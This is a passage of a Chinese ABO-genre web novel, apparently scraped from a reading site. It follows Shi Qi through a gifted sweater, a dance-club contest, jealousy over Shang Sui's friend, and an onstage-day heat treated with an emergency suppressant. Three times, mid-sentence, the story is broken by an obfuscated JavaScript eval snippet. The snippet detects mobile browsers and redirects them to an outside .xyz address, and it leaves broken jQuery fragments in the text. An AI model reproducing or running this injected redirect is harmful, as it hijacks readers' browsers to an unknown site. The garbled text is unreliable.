他还奇怪自己最近没买什么东西,拆开之后,看着包装盒里的衣服,忽然意识到这是谁送给他的。 时绮拍了一张照片,发给对方。 17:[这是你送的吗?] 商随回复得很快。 Ss:[收到礼物了?] Ss:[希望你喜欢^^] 时绮看着盒子里浅色的拉绒毛衣,不禁陷入沉思。 怎么说。 客观来讲,衣服确实是好看的,就是跟他平时的穿着背道而驰、大相径庭。 思考再三,时绮决定偶尔违背一次自身的穿衣风格,只从客观审美评判。 17:[挺好看的,谢谢。] Ss:[不客气。] Ss:[今天有空吗,我下午要代一节课,晚上一起吃饭?] 17:[可以。] 17:[我四点半点以后就没课了。] 出门上课前,时绮犹豫了一会儿。 如果前脚才夸商随送他的衣服好看,后脚见面却不穿,怎么想都是在敷衍人。 时绮纠结再三,朝这件婴儿蓝色的毛衣伸出手。 装在盒子里看不出来,穿上以后,时绮才发现毛衣领口开得比一般的衣服大一些。露出一截细细的锁骨。 时绮怎么看怎么不自在。最后捞了一件黑色外套穿上,这才感觉重新找回自我。 他原本打算上完课回来补一会儿觉,傍晚睡醒去找商随,不料下课前舞蹈社社长在群里急匆匆找他。 社长:[@17,小绮一会儿有空吗,能不能来一趟舞社?有急事商量!] 17:[有,下课过来。] 社长:[太好了!!等你!!] 社长口中的急事比时绮想象中还要麻烦,他不得不暂时留下来。大概是一直没等到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14862223|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消息,商随下课后主动给他发了一个表情包。 是一只眼睛圆溜溜的猫咪,歪着脑袋,像是在问“在干嘛”。 时绮看着那只猫,又看看商随的蓝金渐层头像,总感觉他这个人很割裂。 商随上哪儿找来这么多卖萌的猫。 17:[我在舞蹈社这边,临时有事。] 17:[吃饭可能要晚一点了。] Ss:[那我过来找你?] 17:[可以。] 想到商随对他们学校不熟悉,时绮补了一句。 17:[你在哪?我来接你。] 少顷过后,商随回复:[我遇见你朋友了,他带我过来。] “嗨大帅哥,又见面了。”林言手里提着一大堆奶茶,热情地和商随打招呼,“我刚才远远看着就觉得眼熟,没想到真是你。” 商随见他一个人提这么多奶茶,很是吃力:“我帮你吧。” 林言也没跟他客气,直接分了一半给他:“给舞社买的,时绮正好也在那边。我带你过去。” “舞社?” “你还没看过吧,时绮跳舞很厉害。”林言想起群里的消息,“社长好像想让他参加一个比赛,具体我也不太清楚。一会儿过去问问。” “对了,一直没找着机会跟你说。”林言略微停顿,笑着向商随道谢,“谢谢你帮时绮的忙。” “时绮家里比较宠他,可能会感觉他有点儿少爷脾气,其实他这个人很心软的。还请你多担待。” 商随神色自然地回答:“我觉得他性格很好,也没太大脾气。” 林言安静须臾,确定商随没有说客套话,不由得乐道:“你是第一个这么说的人,我都不敢这样形容他。” “跟你讲个有趣的事情。你有没有发现,时绮一直只爱穿黑色和白色?” 商随应了一声。 也因为这个,挑衣服的时候他犹豫许久。但还是觉得纯净浅淡的蓝色和时绮的发色十分相衬,最终选了那件毛衣。 “小安叔叔……就是时绮的爸爸,还有宥宁姐,他俩比较坏。” “时绮小时候不懂事,小安叔叔骗他穿裙子,宥宁姐也跟着哄他。” 时绮小时候漂亮得雌雄莫辨,巴掌大的小脸上大眼睛水汪汪的,令时安全然遏制不住蠢蠢欲动的念头。 他给时绮挑的都是粉色黄色蓝色等色彩绚丽的裙子;姜宥宁则直接把时绮当成她的大号洋娃娃,不仅骗时绮大家都会穿裙子,还给他戴各种各样的发饰。 “后来时绮长大了,逐渐意识到不是这样,本来这件事就这么过去了。但高中的时候,他有一次不小心看见了小安叔叔的相册。” 那天林言也在场,清楚记得时绮翻完相册后脸黑下来的样子。 时安最开始以为问题不大,后来见时绮真的生气了,知道自己做得不对,不断道歉。 时安一直哄不好他,最终万念俱灰道:“宝宝,你别生气,我们把照片都处理了,一张都不要给我留下……!” 时绮倒没有真让时安把照片处理掉,但从那以后,他开始只穿黑色和白色。 时安还以为五颜六色的裙子给时绮留下了心理阴影,一度很是惶恐,还是时绮自己说,最开始确实不太高兴,后来只是单纯感觉穿黑白挺好,很简洁。 姜宥宁是服装设计师,那段时间她给时绮介绍过不少兼职的模特工作,想让他多穿点儿花花绿绿的,可完成拍摄后,时绮依然不会去碰彩色的衣服。 “……就是这样。”林言讲完之后总结,“他只是长得乖巧,其实很有个性。” 商随听完这个故事,脑海中自动浮现小小的时绮穿着裙子、半信半疑又不得不听从长辈安排的模样。 光是想想,就觉得非常可爱。 他遇见时绮时对方已经是个少年,没能看见林言描述中时绮年纪更小的模样,不禁感到遗憾。 说着说着,两人不知不觉走到舞蹈社门口。 舞室内暖气充足,与寒风凛冽的室外温度相差极大,时绮没来一会儿就脱掉了外套。 毛衣松松垮垮的领口衬得他脖颈纤长,露出的一片肌肤白得晃眼。 林言眼尖地注意到了他和平时的不同,一进门就抬高声音: “哇,时绮!你今天穿了什么,毛绒绒的毛衣?还是这么浅的蓝色!我好多年没见你穿这么清纯了。” “天要下红雨啊!” “……给我闭嘴。” 感觉到商随望过来的目光,时绮不自在地扯了一下低低的领口。 舞室的暖气怎么开这么大? 好热。 11.唯一 经林言提醒,大家逐渐反应过来。 “我一开始也觉得小绮跟平时不太一样,但具体的又说不上来,原来是衣服。” 舞蹈社的社长是个个子高挑的女生,留着一头西柚粉长发,笑眯眯夸赞道:“好看!感觉下一秒就能原地出道。” “小绮怎么突然换风格了?”说话的是个一身白衣的Alpha,面容阳光帅气,“我以前就说你适合浅色,果然没错。” 时绮不甚在意点点头,Alpha脸上笑意加深。 出于某种微妙的心理,商随朝他多看了一眼。 相较于什么都察觉不到的时绮,林言要敏锐许多,开口打断他们:“还用你说啊顾澄,时绮本来穿什么都好看。” 林言说话不怎么客气,顾澄笑容不变:“是啊,毕竟小绮是我们舞蹈社的门面。” “对对,我要当他的站姐。” 一片嘻嘻哈哈中,有人两眼放光地问:“林言,你旁边的帅哥是谁?” “他叫商随,”时绮抢先一步介绍,“是我朋友。” 朋友? 商随挑了挑眉。 林言和时绮关系好,知道他们假扮情侣不奇怪。但在其他人面前,他还是比较想当时绮的“男朋友”。 不过看着时绮隐约透出粉色的耳尖,他决定暂时不去添乱。 商随朝大家笑笑,走到时绮对面,也准备学他的样子在木地板上坐下。 刚才林言闹腾得厉害,时绮都没注意到,商随穿的是他送的外套。 黑橙色的棒球服里搭配了轻薄的针织衫,领口同样开得很低,细细的锁骨链滑落下来。 那条一晃一晃的链子惹得时绮多看了几眼。回过神注意到商随的动作,他立即开口阻止:“那边才被踩过,脏。” 时绮拍拍自己身边干净的空位:“坐我旁边。” 商随听话地在时绮身边坐下。 这一小块儿地方实在有些委屈身材高大的Alpha,商随长长的腿伸不太开,干脆半盘腿坐着。同时伸出手,自然地替时绮整理了一下衣领:“领子有点乱了。” 和时绮还在冒热气的肌肤相比,商随的指尖要冰凉许多。 修长的手指有意无意掠过他的后颈,像是被蝴蝶冰冷柔软的翅膀蹭过。商随的动作很快,不到一两秒,却令时绮条件反射绷紧身体。 只差一点点,商随就要碰到他的腺体…… “你现在很好看哦,”耳畔的声音轻轻的,只有时绮能听见,“比我想象中还要漂亮。” 是夸他穿这件衣服的样子吧? 不知道为什么,这句温柔的夸赞却令时绮微微颤抖。他一动不动注视着舞室的木地板,闷闷应了一声,又礼尚往来补充:“你也不赖。” 商随没忍住,在他身边低低笑了出来。 顾澄将这一切收入眼中,不由得皱起眉头。 “欢迎欢迎,新朋友好!”社长没注意到难以言说的氛围,十分热情地打招呼,“我们正在捣鼓时绮一起参赛,他不同意,言言你跟这位大帅哥快来劝劝。” 商随饶有兴致:“是什么比赛?” “我们这一片不是大学城吗,两周后有一个各大高校联合的舞蹈比赛,没有舞种限制,更像各所学校之间的交流活动。” “原本我们都排练了小半个月,昨天C位那小子打球把脚拐了,医生说没一周最好别下床。” 社长双手合十做祈祷状:“只能靠你救场了小绮!” 时绮之前听过这个比赛,获得前三名的个人或团体都有奖金拿,不过因为天冷,他懒得动弹。 当初社长鼓励大家报名时他就没吱声,现在如果突然加进来,还是C位,怎么想都不合适。 时绮提议:“你们要不要重新编排一下?” 顾澄开玩笑道:“重新编排太难了,之前扒舞时研究动线已经要了社长的命。” “确实要命,真没法编第二次了。”社长补充道,“我们就凑个热闹,顺便赚点学分。这支舞原本是男生跳的,人不够,我跟佳佳都进来了。现在是男女混跳。” 舞蹈社的人数一直不多,加上最近期中考,专业任务重的学生都没有报名参加活动。 见时绮不说话,社长索性跟他撒娇:“你来嘛小绮,中间有一段dancebreak正好咱俩搭档,来嘛来嘛!” 或许是受姜宥宁影响,时绮对女生撒娇很没辙,他被弄得不太好意思,几乎快要同意。 顾澄插嘴道:“小绮很久没排舞了吧?上一次还是刚入秋的时候,经常不活动小心生疏。” 他说完又特意补充:“不过你那么厉害,应该很快就熟悉了。” “……” 原本不想去在意,但这人反反复复蹦跶,实在很烦。 商随压了压脾气,和时绮说话时,依旧是温和的口吻:“我也想看,还没有亲眼见过你跳舞。” 周围人不知不觉朝这边投来目光。感觉到大家眼里的期待,时绮和商随对视片刻,最终答应下来:“好,我加入。” - 时间紧迫,社长当场就要抓着时绮熟悉编舞,约饭只能挪到下次。 临时更改行程,时绮难免心生歉意。商随对此倒不甚在意,只是开口道:“小绮。” “嗯?” “能叫你小绮的人很多吗?” 有一瞬间,时绮竟然从商随的声音里听出一丝委屈。 时绮在心里摇摇头,把这个荒谬的想法踢出去:“他们比较自来熟,不知不觉就这样叫了。” 社长是大三的学姐,比他们大一个年级。因为她经常小绮小绮地叫,稍微熟悉一点的社员都会这么称呼他。 “这样。”商随应声。 “你不高兴吗?”想到商随一直等到现在,自己放鸽子实在不厚道,“要不我们还是先去吃饭,回来再练舞——” “谁要吃饭?今晚都不许吃饭!”社长耳尖地听见他俩的悄悄话,“一会儿我请大家吃宵夜,快点过来排练了!……C位?C位的小朋友听见了吗?” “你去练舞吧,没事。”商随说,“下次再见也一样。” 确定商随不介意因为意外被放鸽子,时绮点了点头。 他在心里记下这件事,想着后面有机会请商随吃饭。社长在一旁催促得厉害,时绮只能跟商随告别,投入到练习中。 和社长预想中一样,时绮简单过了一遍编舞就能大致记下动作。 尽管很多小细节因为记不清楚被他吃掉了,但到第三遍的时候,他基本已经能跟上大家的节奏。 每次看见时绮,她都觉得跳舞需要天赋在他身上体现得淋漓尽致。 …… …… 训练完后,社长累得直接瘫倒在地:“今晚练完,我感觉这支舞有救了。” “别说有救,有时绮在,咱们是不是能冲击一下前三?第三名都有两千块钱奖金呢。” “我觉得可以。”社长一咕噜坐起来,见时绮没有搭腔,以为他对此不感兴趣,“你看小绮多淡定,人家就不会满脑子都是奖金,这才叫高手。” 时绮没有参与他们插科打诨,心里却知道大家对他寄予了期待。 他嘴上不说什么,却会留更长时间在舞室练习,闲暇时也一直观看编舞视频,反复复盘每个细节。 一旦答应加入,他就想尽可能做到最好。 这样除了上课就是练舞的日子一晃而逝,距离比赛越来越近。周三下午是全校统一的公共课,上完以后,大家都聚集到舞室排练。 休息时间,顾澄假装不经意撩起衣服给自己擦汗,露出结实的腹肌。 在他的印象里,Omega喜欢的无非就那几样,让人腿软的好身材自然包含其中。 才自信满满想完,时绮径直从他身边走过。 顾澄:“……” 时绮从林言手里接过水:“谢了。” 注意到林言的手机停留在游戏界面上,屏幕呈灰色,时绮被他逗笑:“你怎么又死了?” 林言是舞蹈社的经理,基本算个闲职,当初进来也是为了混学分。 不过他比一般社团的经理负责许多,没事会陪着排练,还会买买水,大家都和他关系很好。 “因为我被自大的味道熏到了,”林言盯着某个将衣服讪讪放下的Alpha,“这种有毒的气体甚至影响到了我的操作。” “嗯?” 林言完整注意到顾澄的一套小动作,不禁露出十分牙酸的表情,有那么一瞬间,他想提醒时绮注意一下顾澄。 时绮向来对学校各类传闻漠不关心,林言却消息灵通,以前就听说顾澄私生活乱,加上对方一直有意无意接近时绮,对这人印象实在不好。 转念一想,又觉得时绮什么都不知道也挺好,免得像自己一样被熏到:“没事,我随口一说。” 时绮已经习惯林言的不着边际,敲了两下手机:“我出去一下。” “嗯?” “商随过来了。” 说是顺路过来,给他带了下午茶甜点。 “好好好。” 林言现在恨不得商随天天来找时绮,让顾澄这个自恋逼懂得什么叫知难而退。注意到顾澄看了过来,立即抬高声音:“商随找你啊?快去快去。” 这份突如其来的热切令时绮莫名其妙,林言冲他竖起拇指,意有所指:“赶紧去看真帅哥洗洗眼睛。” 舞社距离校门不远,时绮走过去没花太多时间,远远就看见了等候的商随。 他实在显眼,路过的学生基本都会回头,有几个女生一直停在原地,像是想去要联系方式。 时绮正想上前,一辆十分风骚的银蓝色超跑一个甩尾,丝滑地停在商随身侧。 本以为这辆车只是恰好经过,不料车上的人摇下窗户取掉墨镜,冲商随抛了一个Wink,甜蜜蜜地喊道:“小随哥哥~” 时绮猛地停下脚步。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872429|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 注意到商随拎着好几只甜品袋,江砚好奇地问:“你改行送外卖了?” 商随对江砚上蹿下跳的德行视若无睹,吐出两个字:“有事?” “我亲自来给你送东西,感动吧?” 实际上是商随拖延症爆发,一直没来绘涧签字。江砚左思右想,生怕自己的贵人出尔反尔,赶紧拟好合同来找他。 他以为商随今天会在美院,但这边好像是……A大? 江砚正觉得奇怪,有人径直走到他们面前。 是个很漂亮的小孩儿。饶是见惯了绘涧的帅哥美女,江砚也被他的外貌狠狠惊艳了一把。 就是表情凉飕飕的,仿佛一尊晶莹剔透的冰雕。 时绮看向商随:“他是你以前的老板吗?” 就跟商随当初叫他老板一样? 江砚捕捉到关键词,自动触发回复:“是啊是啊。”他可不就是绘涧的老板吗,以后商随入股,他也算当上商随的顶头上司。 想到这里,江砚美滋滋地补充:“我以后也是他的老板。” 原本以为是过去的桃花债,结果还敢有以后? 时绮抬眼看向商随,声音都开始冒寒气:“你不是说,你再也不去绘涧工作了?” “不是,我跟他——”商随话还没完,江砚大惊失色:“啊?那怎么行呢!” 眼看时绮表情越来越不妙,商随打断江砚:“我和他是朋友。” “他脑子不好使,话全是乱说的,你别在意。” “哦,”时绮不相信,“会叫你小随哥哥的朋友吗?” 商随怎么能骗人。 明明说好不再和其他客人联系,只跟着他一个。 时绮心里不禁浮现起一丝委屈,语气不善地问:“你还有多少这种朋友。” 他也不知道自己为什么如此介意,但很快又找到合理的缘由:“你不用瞒着我,如果还有类似的事情我也好早做准备,以免哪天被我家里知道。” 时绮后来还在说什么,商随都没听见了。 他的注意力全被那声“小随哥哥”吸引,只能看见时绮的唇一张一合。商随忍了忍,饶是知道情况不对,也实在心痒难耐:“……要不你再叫一次?” 时绮:“?” 江砚终于回过味儿来,对时绮道:“你是不是误会了什么?我跟商随清清白白,我俩真是朋友。” “而且他是Alpha,”江砚天真地说,“我也是Alpha,我们没可能啊?” “Alpha喜欢他不是很正常吗?” “哎!你这么一说还真是,”江砚被时绮反问,突然想起高中时,跟商随告白过的ABO三种性别全都有,“Alpha和Alpha好像也行……” 时绮没想到这人还自顾自开窍了。眼看事情在江砚的搅合下越发无法控制,商随彻底失去对他的最后一丝耐心。 “江砚,”商随用尽毕生修养,克制地问,“能滚吗?” “……” 江砚十分清楚,商随真正爆发之前,情绪都会反常地平静。 绘涧的未来还挂在商随身上,哪怕不为这个,他也不敢惹商随生气。 一时之间江砚也顾不上什么合同不合同,连道别都不敢多说一句,赶紧驱车跑路。 等江砚那倒霉催的彻底不见人影,商随看着时绮,再次解释:“我真的没再做绘涧的工作。江砚说话不过脑子……但也确实是我朋友。” 在商随叫人滚的时候,时绮就信了他的话。 毕竟花了钱只能得到这种服务,会凑上来的大概只有受虐狂。 “而且……” 商随不知道提这个合不合适、会不会显得自作多情,犹豫片刻,还是告诉时绮:“你是我唯一接过的客人。” 时绮愣了愣,倏地一下抬头看他。 “我就在那上过两次班,两次都是跟你。”商随慢慢地说,“没有其他人。” 先前的坏情绪悄无声息融化,心中某个角落犹如亮起闪烁的火花,星星点点飞舞着炸开。 所以那些哄人的把戏、营业时的温言细语,商随都只和他做过吗? “真的?”时绮看看他,“但你……” 你一看行情就很好,怎么可能只上过两次班? 时绮藏不住事,心里想什么都写在脸上。 商随见他肉眼可见地心情好转,顺毛捋道:“我不会拿这种事骗你。” 有意识的时候,时绮的唇角不知不觉扬起小小的弧度。 “哦,好吧。” 他十分骄矜地点了点头,眼底却漾开碎星似的笑意。 商随看得心痒痒,又一次问:“你真的不能再叫我一声吗?” 见时绮面露疑惑,商随没皮没脸补充:“你叫我哥哥的话,我什么都愿意做的。” “……不要。”时绮迟来地意识到这个称呼有多暧昧,面露嫌弃,“你们两个Alpha好肉麻。” “……” 12.抑制剂 “你给我买了什么?” 时绮接过商随拎着的甜品袋,好奇地问。 湖蓝色袋子上印有手绘的红色花环,包装看起来有些眼熟。时绮解开封口的丝带蝴蝶结,看见里面眼熟的蛋糕盒,脸上逐渐浮现起意外的神色。 “你怎么知道……”我想吃这个? 问出口的前一秒,时绮又及时刹车。 商随应该不知道他的社交账号,那这只是巧合? 昨晚时绮的社交账号分享了新动态,是一张休息时间在舞室的对镜自拍,时绮拍照时将画面拉得很远,单手握住手机。因为脸小,他整张脸几乎被手机遮住,只能看见一小截白皙的面颊。 他后面还有笑嘻嘻的舞蹈社社长,她趁时绮拍照在他头上比了个V,像立起的兔子耳朵。 @1717177:[练习。] [我去,凌晨两点半还泡在舞室,你们好拼。] [亲爱的你好不容易发张照片为什么不露脸,我已经快忘记你美丽的面容了……] [哇啊啊啊啊好期待!小绮终于又排舞了!这次跳什么风格,是不是要代表A大参加比赛?] [后面的美女姐姐头发颜色好漂亮!好靓的粉!] 时绮扔完照片就跑,转头点赞了一家甜品店的季节限定,并且在下面评论一个吐舌头的笑脸。 大概类似于留个脚印,以后来吃的意思? 多亏大数据推送,商随偶然间刷到这个帖子,也有其他粉丝发现了时绮。 [抓住17!] [前脚才说你扔完照片谁也不回高冷,后脚就两眼放光看着小蛋糕是吧?] [孩子三更半夜练饿了,在这给自己画饼充饥呢。] 因为这波突如其来的流量,店主很高兴地把时绮的评论设为置顶。商随看了一眼帖子下方附带的甜品店地址,巧的是,距离他住的地方并不远。 正好谢教授让他来一趟美院。商随便去买了时绮点赞过的桂花栗子蛋糕,以及其他栗子口味的限定。 想着最好多买一点,方便时绮分给其他人,在店主说这一系列味道偏甜后,商随又买了一些常规的甜品。最后提了三四个袋子,成功被江砚误认为送外卖的。 “这家店开在我家楼下。”商随自然地说,“感觉你会喜欢这种口味,就都买了。” 他觉得时绮现在随心所欲记录生活的状态很有意思,暂时不想打扰,便没有说自己关注了他的账号。 原来真的是巧合。 商随恰好送来了他现在最想吃的东西,时绮抱着袋子道:“嗯,喜欢。” 他和商随好像真的挺有默契的? 想到这里,时绮心情更好了一些,笑着对他说:“谢谢你。” “喜欢就好。” 时绮现在的模样格外乖巧,商随忍住了朝他伸手摸摸头的冲动,示意另外两只袋子:“不知道林言喜不喜欢吃甜的,另外买了一些草莓味的。” “林言什么都吃。” 时绮接过剩下的甜品袋,片刻过后,试探性地问:“你要和我一起回去吗?” 他有一点儿想让商随一起回去,看一看他跳舞。 明明以前从不会有向某个人展现自己的念头,此刻却莫名有了期待。 “谢教授找我有事情,得过去了。” 时绮答应一声,忽略掉心里小小的遗憾:“那你先去忙。” “比赛那天我会来看的,就在这周五对吗?” 想到时绮凌晨两点还在练舞,商随原本想说不要太辛苦,但转念一想,能够做自己喜欢的事情,辛苦大概也伴随着乐趣。 商随朝他笑笑,那双勾人的狐狸眼染上缱绻的情愫:“加油哦,小绮。” 时绮不由自主点了点头。 等回到舞室,这副画面还在脑子里久久不散。 他用手背贴了一下略微发烫的腺体,心不在焉想。 最近怎么总是感觉热? 不会快到发情期了吧。 “你回来了,怎么去了这么久?”林言的声音打断时绮的思绪。 “聊了一会儿天。”时绮将其中一个袋子递给他,“商随给你买的。” 林言一愣:“还有我的份?他这么细心。” 还剩下三个袋子,时绮对其他人道:“大家要吃甜品吗?有很多,一起吃吧。” “谢谢小绮!赞美你——!” 社长欢呼一声,第一个跑了过来,其他人也逐渐聚集到这边。 林言对商随愈发满意,跟时绮咬耳朵:“他可以真的当你男朋友吗?” “一个蛋糕就把你收买了?” “我看见的不是蛋糕,是蛋糕背后的情商。”林言发自内心道,“我现在忏悔了,早知道他人这么好,我最开始不该说他……咳,那什么。” 见时绮停下进食难以言喻看着自己,林言争辩道:“但这也不能全怪我,一是傅思越当初谎报军情;二是我见过会打扮的Alpha除了工作需要,基本都是渣男,睡过的人一个比一个多。” “商随这种,我真是第一次见。” “得了吧。”时绮叉了一只开心果泡芙,塞进林言嘴里,“人家好心送你吃的,都堵不上你的嘴。” “……唔唔!” 林言挣扎两秒选择逆来顺受,嚼吧嚼吧吞下去了。 - 为促进大学城内交流,舞蹈比赛的主办方造足了势头,不仅在各所高校宣传,周五更是直接给了半天假。 有了假期,大家自然乐意参加活动。作为比赛举办地的A大人头攒动,来自各所高校的学生齐聚一堂。工作人员穿梭其中,来来往往分发荧光棒。 比赛的奖品设置同样大方。第一名的奖金有整整一万元,第二名对半,第三名也有两千元。 出于对奖金的尊重,参赛的学生都很有干劲。不仅每一队都好好排练舞蹈,而且全部整整齐齐做好造型,有的甚至请了专业化妆师。四周人来人往、热火朝天,一度令人幻视选秀现场。 第一组表演的团体已经登场,欢呼声和音乐声持续不绝,台前的躁动令后台还在准备的学生们不由自主加紧动作。 时绮他们抽签抽到最后一组,上台差不多要等到日落时分。 社长和另外两个女生负责帮大家化妆。到了时绮这里,社长大手一挥:“你不用化,你天然去雕饰,洗把脸上台就行。” 社长说完,又两眼放光上下打量他。 时绮穿着扎染的黑白破边针织衫,腰上松松绑了两条缀满金属链的宽皮带,将腰肢收得纤细利落。 因为他腿长,这样层层叠叠套起来一点儿都不压身高,反倒显得高挑修长,像漫画里的小偶像。 “可以啊小绮,谁给你挑的皮带?堪称点睛之笔,又美又帅又骚!” 她之前特意叮嘱过,时绮是C位,最好穿得亮眼一点。 尽管还是他一贯爱穿的黑白两色,但有了配饰,氛围就全然不同。 时绮沉默片刻:“……林言。” 想起林言之前说商随穿得骚,风水轮流转,今天就转他身上了。 这一套衣服是时绮自己的,缀满金属链的腰带则由林言友情提供。据说是为了泡吧新买来的杀器,尽管还没穿出去过,但林言坚信Alpha看了都走不动路。 除此之外,林言还提供了一条酷酷的发带,主打一个反差。 社长注意到他手里的东西:“发带还没戴好吗?” 林言跑厕所去了,时绮尝试几次,一个人实在摆弄不来:“我不太会戴。” 社长正准备帮忙,又临时被人叫走。一旁的顾澄注意到这一幕,主动询问:“我帮你戴吧,小绮?” 说话间顾澄上前几步,和时绮拉近距离。 后台开着暖气,四周人声嘈杂。时绮总感觉身上有些燥热,嗅觉也变得格外敏感,顾澄的信息素气息扑面而来。 是葡萄的味道,但不像一般的果香那么清爽,而是一种已然糜烂发酵的酸味。 时绮感到一阵难言的焦躁,仿佛被外来者入侵地盘。顾澄见他没搭腔,索性伸出手,作势要来拿发带。 他不喜欢和不熟悉的人有肢体接触。时绮本能地往后一躲,恰好撞进另一个人怀里。 清甜的蜂蜜味弥漫开来,犹如澄莹的琥珀,将时绮包裹其中。 “怎么了?”商随问。 他一边说话,一边从时绮身后抬眼看顾澄。 与甜蜜的信息素不同,头顶的灯光照进商随眼底,变为一条极细的线,令他淡褐色的眼眸犹如冰冷滑腻的花蛇才有的竖瞳。 被他看着,顾澄头皮发麻,背上竟是不知不觉起了一层冷汗。 回过神来,他只觉得这人十分邪门,下意识往后退。 听见熟悉的声音,时绮不自觉松了口气。 “没事。” 商随身上的味道缓解了那阵突如其来的焦躁,时绮冷静下来对顾澄道:“我们好像没有很熟吧。” “什么?”顾澄还没从几近窒息的感受中回过神,闻言一怔。 时绮面无表情:“意思是你连名带姓叫我比较好。” “……”顾澄沉默半晌,脸上又重新挂上笑,“我知道了,不好意思啊,你别生气。” 或许是觉得不该再留下,顾澄很快离开这边。商随收回目光,转而道:“小绮?” “嗯?”时绮答应得很快。 商随以目示意他手里的东西:“我帮你戴吧?” “好。” 表演已经进行到第七组,距离他们登场大约还剩二十分钟。 社长忙完又跑了回来,见商随正帮时绮戴发带,举高手里的喷瓶问:“头发要定型吗!” “不用。”商随慢慢调整发带的位置,让漂亮一些的花纹露出来,“有发带固定,他一会儿跳散了应该也好看。” 社长没想到这里居然有个懂行的。另外几个要上台的男生眼睛不大,画眼线的时候喊这喊那,吵得她都快烦死了。 “好好好,听你的!”她用一种遇见知音的眼光看向商随,说完又匆匆离开。 商随把时绮白金色的刘海一点点整理出来,在这个过程中,他的手指无可避免触碰到时绮的肌肤。 似乎是怕弄痛他,商随的力道很轻。时绮能听见他手指摩挲时沙沙的声响,鼻尖充盈着Alpha诱人的信息素。甜丝丝的味道令时绮本能地感到口渴,小幅度地做出吞咽的动作。 商随手指一顿,突然问:“你是不是发情了?” “什么……??” 时绮呆滞片刻,脸顿时爆红。 这句话太过粗鲁冒犯,如果说话的不是商随,他能当场把人掀了。商随也反应过来自己讲话欠妥:“抱歉,我的意思是……你好像不太对劲。” 商随的手背贴上时绮都快冒烟的脸颊,担心地说:“你脸好热。” 时绮这才意识到商随是在陈述客观事实。 因为腺体退化,他的发情期并不规律、频率也比一般Omega低,很多时候都会忘记自己还有发情期这回事。 经过商随提醒,他终于意识到自己先前反常的表现是因为什么。 “怎么了怎么了?”林言终于上完厕所跑了回来。他对时绮的信息素味道很熟悉,几乎是刚一靠近,就嗅到了灵动甘冽的花香。 这种仿佛沾有露珠、春意盎然的气味,的确是时绮独一无二的信息素。 林言表情一变,立即掏出阻隔剂对着时绮一通狂喷,暂时隔绝了即将溢出的Omega信息素。 他们这边的动静引起了其他人的注意,社长好不容易忙完,一看他们如临大敌:“发生什么事了?” “时绮状态不好,他……”林言顿了一下,小声说,“发情期。” “啊??怎么会这样!!” 社长担忧地看向时绮,Omega的发情期本就不好过。但下一秒,她猛然意识到问题的严重性:“那小绮还能上台吗?” 就算现在打抑制剂,彻底缓过来至少需要半小时往上,到那时别说参加比赛,整场活动都已经结束。 而且他们是最后一组,甚至没法跟人换一换拖延时间。 舞蹈社的成员都担心地围了上来,周围吵吵嚷嚷,满是各种味道的信息素。时绮感到一阵头晕,身体也持续发热。 恍惚中时绮想到什么,拽了拽林言的衣服:“……你是不是有特效抑制剂?” 他之前看林言打过,两三分钟就能起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14888568|158502||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 效,完全抑制住发情期。 “是,”林言摸了一下口袋,“但这玩意儿后遗症很强。” “我上次打完跟喝醉了一样,晕头转向,还一个劲拉着人说胡话。你打完根本没法上去跳舞。” “给我。”时绮手上用了些力气。 “你确定吗?”林言犹豫不决。 特效抑制剂研发出来完全是为了救急,相比常规抑制剂,顾不上舒适度等问题,像林言这样头晕目眩还算好的,一部分Omega使用后会出现恶心呕吐等症状,甚至有可能过敏。 如果打了不能跳,那不是自讨苦吃吗? 相比时绮的果断,林言忍不住往坏处想:“万一你过敏了怎么办?就算过敏的可能性极低,但如果晕过去……” “我基本不过敏。”时绮说,“不试试看怎么知道。” “给他吧。”商随在这时开口。 他和时绮面对意外时的反应一冷一热,但都有种令人心安的笃定,林言在他俩的注视下咬了咬牙,将特效抑制剂拿了出来。商随抬手接过,对时绮道:“我帮你打?” 时绮应了一声。 发情期的Omega都没什么力气,手也容易抖,旁人帮忙打抑制剂很正常。 除了商随,在场其他人看起来都犹犹豫豫,不太敢帮忙。 有人盯着商随手里那一管血红的抑制剂,牙酸地问:“这什么特效抑制剂靠谱吗?怎么看起来这么恐怖。” “要不算了吧,时绮。” 社长见商随已经把针尖对准时绮的手臂,第一次叫了时绮的大名:“本来就是临时让你来救场,再让你担更多的风险,我实在过意不去。” 旁边有人附和:“是啊是啊……要不咱们还是算了吧。” “不是说至少要拿第三名吗?”时绮打断他们,“练了这么久,哪有临阵逃脱的道理。” 几乎是在时绮说话的同时,商随手一抖不抖,在所有人反应过来之前,已经将抑制剂打了进去。 离得最近的林言嘶了一声。 